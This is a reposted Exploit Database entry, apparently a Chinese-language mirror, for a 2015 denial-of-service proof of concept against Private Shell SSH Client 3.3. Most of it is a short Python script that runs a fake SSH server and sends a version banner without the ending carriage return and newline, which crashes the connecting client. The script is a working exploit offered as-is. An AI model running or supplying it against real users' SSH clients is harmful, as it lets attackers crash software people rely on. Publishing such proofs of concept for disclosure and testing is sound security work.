Private Shell SSH Client 3.3 – Crash (PoC)

• Exploit Database
• 14 阅读

• 作者： 3unnym00n
  日期： 2015-05-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37149/

• '''
  # Exploit title: privateshell SSH Client v.3.3 denial of service vulnerability
  # Date: 27-5-2015
  # Vendor homepage: www.privateshell.com
  # Software Link: http://www.privateshell.com/files/pshell.exe
  # Version: 3.3
  # Author: 3unnym00n
  
  # Details:
  # --------
  # when doing the ssh version exchange, if the server send a banner missing \r\n, can lead the pshell crash
  
  # Tested On: win7
  # operating steps: run the py, then execute : "D:\programfile\Private Shell\ssh.exe" root@127.0.0.1
  
  '''
  
  
  
  import socket
  soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  soc.bind(('127.0.0.1', 22))
  soc.listen(1)
  client, addr = soc.accept()
  client.send('SSH-2.0-SUCK') ## no "\r\n" lead to crash